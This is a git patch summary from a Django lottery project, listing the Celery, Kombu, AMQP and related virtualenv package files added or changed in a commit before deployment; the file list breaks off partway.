From a2e9d8f879e50ebe62bc6a316a1261ab00600cdc Mon Sep 17 00:00:00 2001 From: matteo-id Date: Wed, 8 Jun 2022 21:38:34 -0400 Subject: [PATCH] Final touches before deployment, celery installed --- django_lottopy/bin/celery | 8 + .../__pycache__/six.cpython-310.pyc | Bin 27599 -> 27595 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 5154 -> 5154 bytes .../__pycache__/override.cpython-310.pyc | Bin 260 -> 260 bytes .../amqp-5.1.1.dist-info/INSTALLER | 1 + .../amqp-5.1.1.dist-info/LICENSE | 47 + .../amqp-5.1.1.dist-info/METADATA | 241 + .../site-packages/amqp-5.1.1.dist-info/RECORD | 34 + .../site-packages/amqp-5.1.1.dist-info/WHEEL | 5 + .../amqp-5.1.1.dist-info/top_level.txt | 1 + .../python3.10/site-packages/amqp/__init__.py | 75 + .../site-packages/amqp/abstract_channel.py | 163 + .../site-packages/amqp/basic_message.py | 122 + .../python3.10/site-packages/amqp/channel.py | 2127 +++++++++ .../site-packages/amqp/connection.py | 778 ++++ .../site-packages/amqp/exceptions.py | 288 ++ .../site-packages/amqp/method_framing.py | 189 + .../python3.10/site-packages/amqp/platform.py | 79 + .../python3.10/site-packages/amqp/protocol.py | 12 + .../lib/python3.10/site-packages/amqp/sasl.py | 191 + .../site-packages/amqp/serialization.py | 582 +++ .../lib/python3.10/site-packages/amqp/spec.py | 121 + .../site-packages/amqp/transport.py | 674 +++ .../python3.10/site-packages/amqp/utils.py | 64 + .../billiard-3.6.4.0.dist-info/INSTALLER | 1 + .../billiard-3.6.4.0.dist-info/LICENSE.txt | 29 + .../billiard-3.6.4.0.dist-info/METADATA | 112 + .../billiard-3.6.4.0.dist-info/RECORD | 64 + .../billiard-3.6.4.0.dist-info/WHEEL | 5 + .../billiard-3.6.4.0.dist-info/top_level.txt | 1 + .../site-packages/billiard/__init__.py | 61 + .../python3.10/site-packages/billiard/_ext.py | 34 + .../python3.10/site-packages/billiard/_win.py | 116 + .../site-packages/billiard/common.py | 169 + .../site-packages/billiard/compat.py | 312 ++ .../site-packages/billiard/connection.py | 1037 +++++ .../site-packages/billiard/context.py | 422 ++ .../site-packages/billiard/dummy/__init__.py | 167 + .../billiard/dummy/connection.py | 93 + .../site-packages/billiard/einfo.py | 135 + .../site-packages/billiard/exceptions.py | 54 + .../python3.10/site-packages/billiard/five.py | 191 + .../site-packages/billiard/forkserver.py | 266 ++ .../python3.10/site-packages/billiard/heap.py | 289 ++ .../site-packages/billiard/managers.py | 1210 +++++ .../python3.10/site-packages/billiard/pool.py | 2055 +++++++++ .../site-packages/billiard/popen_fork.py | 91 + .../billiard/popen_forkserver.py | 70 + .../billiard/popen_spawn_posix.py | 76 + .../billiard/popen_spawn_win32.py | 123 + .../site-packages/billiard/process.py | 404 ++ .../site-packages/billiard/queues.py | 403 ++ .../site-packages/billiard/reduction.py | 294 ++ .../site-packages/billiard/resource_sharer.py | 163 + .../billiard/semaphore_tracker.py | 147 + .../site-packages/billiard/sharedctypes.py | 260 ++ .../site-packages/billiard/spawn.py | 390 ++ .../site-packages/billiard/synchronize.py | 437 ++ .../python3.10/site-packages/billiard/util.py | 233 + .../celery-5.2.7.dist-info/INSTALLER | 1 + .../celery-5.2.7.dist-info/LICENSE | 54 + .../celery-5.2.7.dist-info/METADATA | 647 +++ .../celery-5.2.7.dist-info/RECORD | 320 ++ .../celery-5.2.7.dist-info/REQUESTED | 0 .../celery-5.2.7.dist-info/WHEEL | 5 + .../celery-5.2.7.dist-info/entry_points.txt | 3 + .../celery-5.2.7.dist-info/top_level.txt | 1 + .../site-packages/celery/__init__.py | 173 + .../site-packages/celery/__main__.py | 19 + .../python3.10/site-packages/celery/_state.py | 197 + .../site-packages/celery/app/__init__.py | 77 + .../site-packages/celery/app/amqp.py | 607 +++ .../site-packages/celery/app/annotations.py | 52 + .../site-packages/celery/app/autoretry.py | 60 + .../site-packages/celery/app/backends.py | 69 + .../site-packages/celery/app/base.py | 1325 ++++++ .../site-packages/celery/app/builtins.py | 187 + .../site-packages/celery/app/control.py | 744 ++++ .../site-packages/celery/app/defaults.py | 408 ++ .../site-packages/celery/app/events.py | 40 + .../site-packages/celery/app/log.py | 250 ++ .../site-packages/celery/app/registry.py | 68 + .../site-packages/celery/app/routes.py | 136 + .../site-packages/celery/app/task.py | 1103 +++++ .../site-packages/celery/app/trace.py | 737 ++++ .../site-packages/celery/app/utils.py | 416 ++ .../site-packages/celery/apps/__init__.py | 0 .../site-packages/celery/apps/beat.py | 152 + .../site-packages/celery/apps/multi.py | 507 +++ .../site-packages/celery/apps/worker.py | 391 ++ .../site-packages/celery/backends/__init__.py | 1 + .../site-packages/celery/backends/arangodb.py | 232 + .../celery/backends/asynchronous.py | 333 ++ .../celery/backends/azureblockblob.py | 166 + .../site-packages/celery/backends/base.py | 1093 +++++ .../site-packages/celery/backends/cache.py | 163 + .../celery/backends/cassandra.py | 232 + .../site-packages/celery/backends/consul.py | 116 + .../celery/backends/cosmosdbsql.py | 219 + .../celery/backends/couchbase.py | 106 + .../site-packages/celery/backends/couchdb.py | 99 + .../celery/backends/database/__init__.py | 222 + .../celery/backends/database/models.py | 108 + .../celery/backends/database/session.py | 89 + .../site-packages/celery/backends/dynamodb.py | 496 +++ .../celery/backends/elasticsearch.py | 248 ++ .../celery/backends/filesystem.py | 113 + .../site-packages/celery/backends/mongodb.py | 317 ++ .../site-packages/celery/backends/redis.py | 661 +++ .../site-packages/celery/backends/rpc.py | 342 ++ .../site-packages/celery/backends/s3.py | 87 + .../python3.10/site-packages/celery/beat.py | 738 ++++ .../site-packages/celery/bin/__init__.py | 0 .../site-packages/celery/bin/amqp.py | 312 ++ .../site-packages/celery/bin/base.py | 287 ++ .../site-packages/celery/bin/beat.py | 72 + .../site-packages/celery/bin/call.py | 72 + .../site-packages/celery/bin/celery.py | 217 + .../site-packages/celery/bin/control.py | 204 + .../site-packages/celery/bin/events.py | 95 + .../site-packages/celery/bin/graph.py | 197 + .../site-packages/celery/bin/list.py | 38 + .../site-packages/celery/bin/logtool.py | 157 + .../site-packages/celery/bin/migrate.py | 64 + .../site-packages/celery/bin/multi.py | 480 ++ .../site-packages/celery/bin/purge.py | 69 + .../site-packages/celery/bin/result.py | 31 + .../site-packages/celery/bin/shell.py | 172 + .../site-packages/celery/bin/upgrade.py | 92 + .../site-packages/celery/bin/worker.py | 355 ++ .../site-packages/celery/bootsteps.py | 415 ++ .../python3.10/site-packages/celery/canvas.py | 1637 +++++++ .../celery/concurrency/__init__.py | 33 + .../celery/concurrency/asynpool.py | 1352 ++++++ .../site-packages/celery/concurrency/base.py | 172 + .../celery/concurrency/eventlet.py | 181 + .../celery/concurrency/gevent.py | 122 + .../celery/concurrency/prefork.py | 170 + .../site-packages/celery/concurrency/solo.py | 29 + .../celery/concurrency/thread.py | 45 + .../site-packages/celery/contrib/__init__.py | 0 .../site-packages/celery/contrib/abortable.py | 169 + .../site-packages/celery/contrib/migrate.py | 411 ++ .../site-packages/celery/contrib/pytest.py | 216 + .../site-packages/celery/contrib/rdb.py | 188 + .../site-packages/celery/contrib/sphinx.py | 106 + .../celery/contrib/testing/__init__.py | 0 .../celery/contrib/testing/app.py | 109 + .../celery/contrib/testing/manager.py | 216 + .../celery/contrib/testing/mocks.py | 137 + .../celery/contrib/testing/tasks.py | 9 + .../celery/contrib/testing/worker.py | 177 + .../site-packages/celery/events/__init__.py | 15 + .../site-packages/celery/events/cursesmon.py | 536 +++ .../site-packages/celery/events/dispatcher.py | 229 + .../site-packages/celery/events/dumper.py | 103 + .../site-packages/celery/events/event.py | 63 + .../site-packages/celery/events/receiver.py | 135 + .../site-packages/celery/events/snapshot.py | 111 + .../site-packages/celery/events/state.py | 735 ++++ .../site-packages/celery/exceptions.py | 311 ++ .../site-packages/celery/fixups/__init__.py | 1 + .../site-packages/celery/fixups/django.py | 204 + .../site-packages/celery/loaders/__init__.py | 18 + .../site-packages/celery/loaders/app.py | 8 + .../site-packages/celery/loaders/base.py | 273 ++ .../site-packages/celery/loaders/default.py | 42 + .../python3.10/site-packages/celery/local.py | 552 +++ .../site-packages/celery/platforms.py | 842 ++++ .../python3.10/site-packages/celery/result.py | 1068 +++++ .../site-packages/celery/schedules.py | 835 ++++ .../site-packages/celery/security/__init__.py | 74 + .../celery/security/certificate.py | 97 + .../site-packages/celery/security/key.py | 32 + .../celery/security/serialization.py | 101 + .../site-packages/celery/security/utils.py | 28 + .../site-packages/celery/signals.py | 152 + .../python3.10/site-packages/celery/states.py | 151 + .../site-packages/celery/utils/__init__.py | 37 + .../site-packages/celery/utils/abstract.py | 146 + .../site-packages/celery/utils/collections.py | 873 ++++ .../site-packages/celery/utils/debug.py | 193 + .../site-packages/celery/utils/deprecated.py | 113 + .../celery/utils/dispatch/__init__.py | 4 + .../celery/utils/dispatch/signal.py | 354 ++ .../site-packages/celery/utils/functional.py | 392 ++ .../site-packages/celery/utils/graph.py | 309 ++ .../site-packages/celery/utils/imports.py | 157 + .../site-packages/celery/utils/iso8601.py | 76 + .../site-packages/celery/utils/log.py | 295 ++ .../site-packages/celery/utils/nodenames.py | 102 + .../site-packages/celery/utils/objects.py | 142 + .../site-packages/celery/utils/saferepr.py | 274 ++ .../celery/utils/serialization.py | 266 ++ .../celery/utils/static/__init__.py | 14 + .../celery/utils/static/celery_128.png | Bin 0 -> 2556 bytes .../site-packages/celery/utils/sysinfo.py | 48 + .../site-packages/celery/utils/term.py | 179 + .../site-packages/celery/utils/text.py | 206 + .../site-packages/celery/utils/threads.py | 331 ++ .../site-packages/celery/utils/time.py | 388 ++ .../site-packages/celery/utils/timer2.py | 154 + .../site-packages/celery/worker/__init__.py | 4 + .../site-packages/celery/worker/autoscale.py | 154 + .../site-packages/celery/worker/components.py | 240 + .../celery/worker/consumer/__init__.py | 15 + .../celery/worker/consumer/agent.py | 21 + .../celery/worker/consumer/connection.py | 36 + .../celery/worker/consumer/consumer.py | 631 +++ .../celery/worker/consumer/control.py | 33 + .../celery/worker/consumer/events.py | 68 + .../celery/worker/consumer/gossip.py | 205 + .../celery/worker/consumer/heart.py | 36 + .../celery/worker/consumer/mingle.py | 76 + .../celery/worker/consumer/tasks.py | 65 + .../site-packages/celery/worker/control.py | 559 +++ .../site-packages/celery/worker/heartbeat.py | 61 + .../site-packages/celery/worker/loops.py | 135 + .../site-packages/celery/worker/pidbox.py | 122 + .../site-packages/celery/worker/request.py | 741 ++++ .../site-packages/celery/worker/state.py | 282 ++ .../site-packages/celery/worker/strategy.py | 208 + .../site-packages/celery/worker/worker.py | 410 ++ .../__pycache__/__init__.cpython-310.pyc | Bin 285 -> 285 bytes .../certifi/__pycache__/core.cpython-310.pyc | Bin 1180 -> 1180 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 1748 -> 1748 bytes .../__pycache__/api.cpython-310.pyc | Bin 10788 -> 10780 bytes .../__pycache__/cd.cpython-310.pyc | Bin 8877 -> 8877 bytes .../__pycache__/constant.cpython-310.pyc | Bin 17195 -> 17195 bytes .../__pycache__/legacy.cpython-310.pyc | Bin 2928 -> 2928 bytes .../__pycache__/md.cpython-310.pyc | Bin 13999 -> 13999 bytes .../__pycache__/models.cpython-310.pyc | Bin 13257 -> 13257 bytes .../__pycache__/utils.cpython-310.pyc | Bin 7787 -> 7787 bytes .../__pycache__/version.cpython-310.pyc | Bin 296 -> 296 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 8207 -> 8207 bytes .../click-8.1.3.dist-info/INSTALLER | 1 + .../click-8.1.3.dist-info/LICENSE.rst | 28 + .../click-8.1.3.dist-info/METADATA | 111 + .../click-8.1.3.dist-info/RECORD | 39 + .../site-packages/click-8.1.3.dist-info/WHEEL | 5 + .../click-8.1.3.dist-info/top_level.txt | 1 + .../site-packages/click/__init__.py | 73 + .../python3.10/site-packages/click/_compat.py | 626 +++ .../site-packages/click/_termui_impl.py | 717 +++ .../site-packages/click/_textwrap.py | 49 + .../site-packages/click/_winconsole.py | 279 ++ .../python3.10/site-packages/click/core.py | 2998 +++++++++++++ .../site-packages/click/decorators.py | 497 +++ .../site-packages/click/exceptions.py | 287 ++ .../site-packages/click/formatting.py | 301 ++ .../python3.10/site-packages/click/globals.py | 68 + .../python3.10/site-packages/click/parser.py | 529 +++ .../python3.10/site-packages/click/py.typed | 0 .../site-packages/click/shell_completion.py | 580 +++ .../python3.10/site-packages/click/termui.py | 787 ++++ .../python3.10/site-packages/click/testing.py | 479 ++ .../python3.10/site-packages/click/types.py | 1073 +++++ .../python3.10/site-packages/click/utils.py | 580 +++ .../INSTALLER | 1 + .../click_didyoumean-0.3.0.dist-info/LICENSE | 19 + .../click_didyoumean-0.3.0.dist-info/METADATA | 14 + .../click_didyoumean-0.3.0.dist-info/RECORD | 7 + .../click_didyoumean-0.3.0.dist-info/WHEEL | 4 + .../click_didyoumean/__init__.py | 66 + .../click_plugins-1.1.1.dist-info/AUTHORS.txt | 5 + .../click_plugins-1.1.1.dist-info/INSTALLER | 1 + .../click_plugins-1.1.1.dist-info/LICENSE.txt | 29 + .../click_plugins-1.1.1.dist-info/METADATA | 210 + .../click_plugins-1.1.1.dist-info/RECORD | 12 + .../click_plugins-1.1.1.dist-info/WHEEL | 6 + .../top_level.txt | 1 + .../click_plugins-1.1.1.dist-info/zip-safe | 1 + .../site-packages/click_plugins/__init__.py | 61 + .../site-packages/click_plugins/core.py | 92 + .../click_repl-0.2.0.dist-info/INSTALLER | 1 + .../click_repl-0.2.0.dist-info/LICENSE | 19 + .../click_repl-0.2.0.dist-info/METADATA | 16 + .../click_repl-0.2.0.dist-info/RECORD | 10 + .../click_repl-0.2.0.dist-info/WHEEL | 5 + .../click_repl-0.2.0.dist-info/top_level.txt | 1 + .../site-packages/click_repl/__init__.py | 303 ++ .../site-packages/click_repl/exceptions.py | 6 + .../__pycache__/__init__.cpython-310.pyc | Bin 393 -> 393 bytes .../__pycache__/_common.cpython-310.pyc | Bin 1449 -> 1449 bytes .../__pycache__/_version.cpython-310.pyc | Bin 257 -> 257 bytes .../__pycache__/easter.cpython-310.pyc | Bin 2233 -> 2233 bytes .../__pycache__/relativedelta.cpython-310.pyc | Bin 15778 -> 15776 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 2097 -> 2097 bytes .../__pycache__/_parser.cpython-310.pyc | Bin 40588 -> 40568 bytes .../__pycache__/isoparser.cpython-310.pyc | Bin 11343 -> 11343 bytes .../tz/__pycache__/__init__.cpython-310.pyc | Bin 695 -> 695 bytes .../tz/__pycache__/_common.cpython-310.pyc | Bin 10781 -> 10781 bytes .../tz/__pycache__/_factories.cpython-310.pyc | Bin 2964 -> 2964 bytes .../tz/__pycache__/tz.cpython-310.pyc | Bin 44959 -> 44955 bytes .../tz/__pycache__/win.cpython-310.pyc | Bin 11459 -> 11459 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 6639 -> 6639 bytes .../sitemaps/__pycache__/apps.cpython-310.pyc | Bin 616 -> 616 bytes .../__pycache__/views.cpython-310.pyc | Bin 2708 -> 2708 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 228 -> 228 bytes .../sites/__pycache__/admin.cpython-310.pyc | Bin 562 -> 562 bytes .../sites/__pycache__/apps.cpython-310.pyc | Bin 1038 -> 1038 bytes .../sites/__pycache__/checks.cpython-310.pyc | Bin 597 -> 597 bytes .../__pycache__/management.cpython-310.pyc | Bin 1278 -> 1278 bytes .../sites/__pycache__/models.cpython-310.pyc | Bin 4293 -> 4293 bytes .../__pycache__/requests.cpython-310.pyc | Bin 1277 -> 1277 bytes .../__pycache__/0001_initial.cpython-310.pyc | Bin 1104 -> 1104 bytes .../0002_alter_domain_unique.cpython-310.pyc | Bin 819 -> 819 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 225 -> 225 bytes .../__pycache__/utils.cpython-310.pyc | Bin 5233 -> 5233 bytes .../__pycache__/check.cpython-310.pyc | Bin 2471 -> 2471 bytes .../__pycache__/shell.cpython-310.pyc | Bin 3166 -> 3166 bytes .../__pycache__/http.cpython-310.pyc | Bin 1761 -> 1761 bytes .../__pycache__/http.cpython-310.pyc | Bin 4518 -> 4518 bytes .../idna/__pycache__/__init__.cpython-310.pyc | Bin 857 -> 857 bytes .../idna/__pycache__/core.cpython-310.pyc | Bin 9600 -> 9600 bytes .../idna/__pycache__/idnadata.cpython-310.pyc | Bin 38235 -> 38235 bytes .../__pycache__/intranges.cpython-310.pyc | Bin 1994 -> 1994 bytes .../__pycache__/package_data.cpython-310.pyc | Bin 221 -> 221 bytes .../kombu-5.2.4.dist-info/INSTALLER | 1 + .../kombu-5.2.4.dist-info/LICENSE | 26 + .../kombu-5.2.4.dist-info/METADATA | 67 + .../kombu-5.2.4.dist-info/RECORD | 156 + .../site-packages/kombu-5.2.4.dist-info/WHEEL | 5 + .../kombu-5.2.4.dist-info/top_level.txt | 1 + .../site-packages/kombu/__init__.py | 112 + .../site-packages/kombu/abstract.py | 118 + .../kombu/asynchronous/__init__.py | 7 + .../kombu/asynchronous/aws/__init__.py | 6 + .../kombu/asynchronous/aws/connection.py | 270 ++ .../kombu/asynchronous/aws/ext.py | 24 + .../kombu/asynchronous/aws/sqs/__init__.py | 0 .../kombu/asynchronous/aws/sqs/connection.py | 191 + .../kombu/asynchronous/aws/sqs/ext.py | 7 + .../kombu/asynchronous/aws/sqs/message.py | 33 + .../kombu/asynchronous/aws/sqs/queue.py | 128 + .../site-packages/kombu/asynchronous/debug.py | 65 + .../kombu/asynchronous/http/__init__.py | 21 + .../kombu/asynchronous/http/base.py | 257 ++ .../kombu/asynchronous/http/curl.py | 287 ++ .../site-packages/kombu/asynchronous/hub.py | 388 ++ .../kombu/asynchronous/semaphore.py | 100 + .../site-packages/kombu/asynchronous/timer.py | 229 + .../python3.10/site-packages/kombu/clocks.py | 147 + .../python3.10/site-packages/kombu/common.py | 435 ++ .../python3.10/site-packages/kombu/compat.py | 211 + .../site-packages/kombu/compression.py | 116 + .../site-packages/kombu/connection.py | 1057 +++++ .../python3.10/site-packages/kombu/entity.py | 866 ++++ .../site-packages/kombu/exceptions.py | 94 + .../lib/python3.10/site-packages/kombu/log.py | 137 + .../python3.10/site-packages/kombu/matcher.py | 133 + .../python3.10/site-packages/kombu/message.py | 227 + .../site-packages/kombu/messaging.py | 636 +++ .../python3.10/site-packages/kombu/mixins.py | 299 ++ .../python3.10/site-packages/kombu/pidbox.py | 411 ++ .../python3.10/site-packages/kombu/pools.py | 150 + .../site-packages/kombu/resource.py | 237 + .../site-packages/kombu/serialization.py | 458 ++ .../python3.10/site-packages/kombu/simple.py | 152 + .../site-packages/kombu/transport/SLMQ.py | 200 + .../site-packages/kombu/transport/SQS.py | 897 ++++ .../site-packages/kombu/transport/__init__.py | 86 + .../kombu/transport/azureservicebus.py | 445 ++ .../kombu/transport/azurestoragequeues.py | 165 + .../site-packages/kombu/transport/base.py | 258 ++ .../site-packages/kombu/transport/consul.py | 314 ++ .../site-packages/kombu/transport/etcd.py | 289 ++ .../kombu/transport/filesystem.py | 285 ++ .../kombu/transport/librabbitmq.py | 188 + .../site-packages/kombu/transport/memory.py | 104 + .../site-packages/kombu/transport/mongodb.py | 494 +++ .../site-packages/kombu/transport/pyamqp.py | 251 ++ .../site-packages/kombu/transport/pyro.py | 210 + .../site-packages/kombu/transport/qpid.py | 1746 ++++++++ .../site-packages/kombu/transport/redis.py | 1425 ++++++ .../kombu/transport/sqlalchemy/__init__.py | 242 + .../kombu/transport/sqlalchemy/models.py | 74 + .../kombu/transport/virtual/__init__.py | 9 + .../kombu/transport/virtual/base.py | 1013 +++++ .../kombu/transport/virtual/exchange.py | 158 + .../kombu/transport/zookeeper.py | 221 + .../site-packages/kombu/utils/__init__.py | 18 + .../site-packages/kombu/utils/amq_manager.py | 19 + .../site-packages/kombu/utils/collections.py | 42 + .../site-packages/kombu/utils/compat.py | 132 + .../site-packages/kombu/utils/debug.py | 60 + .../site-packages/kombu/utils/div.py | 33 + .../site-packages/kombu/utils/encoding.py | 95 + .../site-packages/kombu/utils/eventio.py | 327 ++ .../site-packages/kombu/utils/functional.py | 354 ++ .../site-packages/kombu/utils/imports.py | 65 + .../site-packages/kombu/utils/json.py | 91 + .../site-packages/kombu/utils/limits.py | 81 + .../site-packages/kombu/utils/objects.py | 57 + .../site-packages/kombu/utils/scheduling.py | 108 + .../site-packages/kombu/utils/text.py | 68 + .../site-packages/kombu/utils/time.py | 11 + .../site-packages/kombu/utils/url.py | 128 + .../site-packages/kombu/utils/uuid.py | 12 + .../lxml/__pycache__/__init__.cpython-310.pyc | Bin 723 -> 723 bytes .../html/__pycache__/__init__.cpython-310.pyc | Bin 56489 -> 56489 bytes .../__pycache__/_setmixin.cpython-310.pyc | Bin 2133 -> 2133 bytes .../html/__pycache__/defs.cpython-310.pyc | Bin 2849 -> 2849 bytes .../__pycache__/__config__.cpython-310.pyc | Bin 3253 -> 3253 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 11162 -> 11158 bytes .../_distributor_init.cpython-310.pyc | Bin 547 -> 547 bytes .../__pycache__/_globals.cpython-310.pyc | Bin 3380 -> 3380 bytes .../__pycache__/_pytesttester.cpython-310.pyc | Bin 5781 -> 5781 bytes .../__pycache__/_version.cpython-310.pyc | Bin 524 -> 524 bytes .../__pycache__/ctypeslib.cpython-310.pyc | Bin 14505 -> 14505 bytes .../numpy/__pycache__/version.cpython-310.pyc | Bin 548 -> 548 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 645 -> 645 bytes .../__pycache__/_inspect.cpython-310.pyc | Bin 7647 -> 7647 bytes .../compat/__pycache__/py3k.cpython-310.pyc | Bin 4578 -> 4578 bytes .../core/__pycache__/__init__.cpython-310.pyc | Bin 3730 -> 3730 bytes .../__pycache__/_add_newdocs.cpython-310.pyc | Bin 175903 -> 175903 bytes .../_add_newdocs_scalars.cpython-310.pyc | Bin 8020 -> 8020 bytes .../core/__pycache__/_asarray.cpython-310.pyc | Bin 3978 -> 3978 bytes .../core/__pycache__/_dtype.cpython-310.pyc | Bin 7781 -> 7781 bytes .../__pycache__/_dtype_ctypes.cpython-310.pyc | Bin 3087 -> 3087 bytes .../__pycache__/_exceptions.cpython-310.pyc | Bin 6590 -> 6590 bytes .../__pycache__/_internal.cpython-310.pyc | Bin 23254 -> 23254 bytes .../core/__pycache__/_methods.cpython-310.pyc | Bin 7076 -> 7076 bytes .../_string_helpers.cpython-310.pyc | Bin 3158 -> 3158 bytes .../__pycache__/_type_aliases.cpython-310.pyc | Bin 5398 -> 5398 bytes .../__pycache__/_ufunc_config.cpython-310.pyc | Bin 13702 -> 13702 bytes .../__pycache__/arrayprint.cpython-310.pyc | Bin 51082 -> 51082 bytes .../__pycache__/defchararray.cpython-310.pyc | Bin 67479 -> 67479 bytes .../__pycache__/einsumfunc.cpython-310.pyc | Bin 39476 -> 39476 bytes .../__pycache__/fromnumeric.cpython-310.pyc | Bin 120619 -> 120619 bytes .../__pycache__/function_base.cpython-310.pyc | Bin 16934 -> 16934 bytes .../__pycache__/getlimits.cpython-310.pyc | Bin 14626 -> 14626 bytes .../core/__pycache__/machar.cpython-310.pyc | Bin 7810 -> 7798 bytes .../core/__pycache__/memmap.cpython-310.pyc | Bin 10453 -> 10453 bytes .../__pycache__/multiarray.cpython-310.pyc | Bin 53756 -> 53756 bytes .../core/__pycache__/numeric.cpython-310.pyc | Bin 72978 -> 72978 bytes .../__pycache__/numerictypes.cpython-310.pyc | Bin 16352 -> 16352 bytes .../__pycache__/overrides.cpython-310.pyc | Bin 6933 -> 6933 bytes .../core/__pycache__/records.cpython-310.pyc | Bin 30110 -> 30110 bytes .../__pycache__/shape_base.cpython-310.pyc | Bin 25747 -> 25747 bytes .../core/__pycache__/umath.cpython-310.pyc | Bin 1756 -> 1756 bytes .../fft/__pycache__/__init__.cpython-310.pyc | Bin 8317 -> 8317 bytes .../__pycache__/_pocketfft.cpython-310.pyc | Bin 51845 -> 51845 bytes .../fft/__pycache__/helper.cpython-310.pyc | Bin 6719 -> 6719 bytes .../lib/__pycache__/__init__.cpython-310.pyc | Bin 1593 -> 1593 bytes .../__pycache__/_datasource.cpython-310.pyc | Bin 20495 -> 20495 bytes .../lib/__pycache__/_iotools.cpython-310.pyc | Bin 26005 -> 26005 bytes .../lib/__pycache__/_version.cpython-310.pyc | Bin 4862 -> 4862 bytes .../lib/__pycache__/arraypad.cpython-310.pyc | Bin 22095 -> 22095 bytes .../__pycache__/arraysetops.cpython-310.pyc | Bin 23099 -> 23099 bytes .../__pycache__/arrayterator.cpython-310.pyc | Bin 7056 -> 7056 bytes .../lib/__pycache__/format.cpython-310.pyc | Bin 25325 -> 25325 bytes .../__pycache__/function_base.cpython-310.pyc | Bin 142532 -> 142532 bytes .../__pycache__/histograms.cpython-310.pyc | Bin 32153 -> 32153 bytes .../__pycache__/index_tricks.cpython-310.pyc | Bin 28713 -> 28713 bytes .../lib/__pycache__/mixins.cpython-310.pyc | Bin 7047 -> 7047 bytes .../__pycache__/nanfunctions.cpython-310.pyc | Bin 54037 -> 54037 bytes .../lib/__pycache__/npyio.cpython-310.pyc | Bin 67986 -> 67972 bytes .../__pycache__/polynomial.cpython-310.pyc | Bin 41242 -> 41242 bytes .../lib/__pycache__/scimath.cpython-310.pyc | Bin 15517 -> 15517 bytes .../__pycache__/shape_base.cpython-310.pyc | Bin 35609 -> 35609 bytes .../__pycache__/stride_tricks.cpython-310.pyc | Bin 16831 -> 16831 bytes .../__pycache__/twodim_base.cpython-310.pyc | Bin 29438 -> 29438 bytes .../__pycache__/type_check.cpython-310.pyc | Bin 20494 -> 20494 bytes .../lib/__pycache__/ufunclike.cpython-310.pyc | Bin 7824 -> 7824 bytes .../lib/__pycache__/utils.cpython-310.pyc | Bin 25954 -> 25952 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 2006 -> 2006 bytes .../linalg/__pycache__/linalg.cpython-310.pyc | Bin 81689 -> 81689 bytes .../ma/__pycache__/__init__.cpython-310.pyc | Bin 1590 -> 1590 bytes .../numpy/ma/__pycache__/core.cpython-310.pyc | Bin 213482 -> 213478 bytes .../ma/__pycache__/extras.cpython-310.pyc | Bin 51350 -> 51350 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 424 -> 424 bytes .../__pycache__/defmatrix.cpython-310.pyc | Bin 29651 -> 29651 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 6908 -> 6908 bytes .../__pycache__/_polybase.cpython-310.pyc | Bin 34243 -> 34243 bytes .../__pycache__/chebyshev.cpython-310.pyc | Bin 61869 -> 61869 bytes .../__pycache__/hermite.cpython-310.pyc | Bin 51720 -> 51720 bytes .../__pycache__/hermite_e.cpython-310.pyc | Bin 51701 -> 51701 bytes .../__pycache__/laguerre.cpython-310.pyc | Bin 50020 -> 50020 bytes .../__pycache__/legendre.cpython-310.pyc | Bin 50571 -> 50571 bytes .../__pycache__/polynomial.cpython-310.pyc | Bin 48280 -> 48280 bytes .../__pycache__/polyutils.cpython-310.pyc | Bin 21871 -> 21871 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 7459 -> 7459 bytes .../__pycache__/_pickle.cpython-310.pyc | Bin 1941 -> 1941 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 639 -> 639 bytes .../__pycache__/_constants.cpython-310.pyc | Bin 506 -> 506 bytes .../cell/__pycache__/__init__.cpython-310.pyc | Bin 331 -> 331 bytes .../cell/__pycache__/_writer.cpython-310.pyc | Bin 2617 -> 2617 bytes .../cell/__pycache__/cell.cpython-310.pyc | Bin 8383 -> 8383 bytes .../__pycache__/read_only.cpython-310.pyc | Bin 4288 -> 4288 bytes .../cell/__pycache__/text.cpython-310.pyc | Bin 4045 -> 4045 bytes .../chart/__pycache__/_3d.cpython-310.pyc | Bin 2684 -> 2684 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 886 -> 886 bytes .../chart/__pycache__/_chart.cpython-310.pyc | Bin 6019 -> 6019 bytes .../__pycache__/area_chart.cpython-310.pyc | Bin 2908 -> 2908 bytes .../chart/__pycache__/axis.cpython-310.pyc | Bin 8836 -> 8836 bytes .../__pycache__/bar_chart.cpython-310.pyc | Bin 3639 -> 3639 bytes .../__pycache__/bubble_chart.cpython-310.pyc | Bin 1929 -> 1929 bytes .../__pycache__/chartspace.cpython-310.pyc | Bin 4553 -> 4553 bytes .../__pycache__/data_source.cpython-310.pyc | Bin 6123 -> 6123 bytes .../__pycache__/descriptors.cpython-310.pyc | Bin 1225 -> 1225 bytes .../__pycache__/error_bar.cpython-310.pyc | Bin 1733 -> 1733 bytes .../chart/__pycache__/label.cpython-310.pyc | Bin 3067 -> 3067 bytes .../chart/__pycache__/layout.cpython-310.pyc | Bin 1880 -> 1880 bytes .../chart/__pycache__/legend.cpython-310.pyc | Bin 2008 -> 2008 bytes .../__pycache__/line_chart.cpython-310.pyc | Bin 3279 -> 3279 bytes .../chart/__pycache__/marker.cpython-310.pyc | Bin 2236 -> 2236 bytes .../chart/__pycache__/picture.cpython-310.pyc | Bin 1097 -> 1097 bytes .../__pycache__/pie_chart.cpython-310.pyc | Bin 4696 -> 4696 bytes .../chart/__pycache__/pivot.cpython-310.pyc | Bin 1901 -> 1901 bytes .../__pycache__/plotarea.cpython-310.pyc | Bin 4704 -> 4704 bytes .../print_settings.cpython-310.pyc | Bin 1766 -> 1766 bytes .../__pycache__/radar_chart.cpython-310.pyc | Bin 1687 -> 1687 bytes .../chart/__pycache__/reader.cpython-310.pyc | Bin 917 -> 917 bytes .../__pycache__/reference.cpython-310.pyc | Bin 3324 -> 3324 bytes .../__pycache__/scatter_chart.cpython-310.pyc | Bin 1672 -> 1672 bytes .../chart/__pycache__/series.cpython-310.pyc | Bin 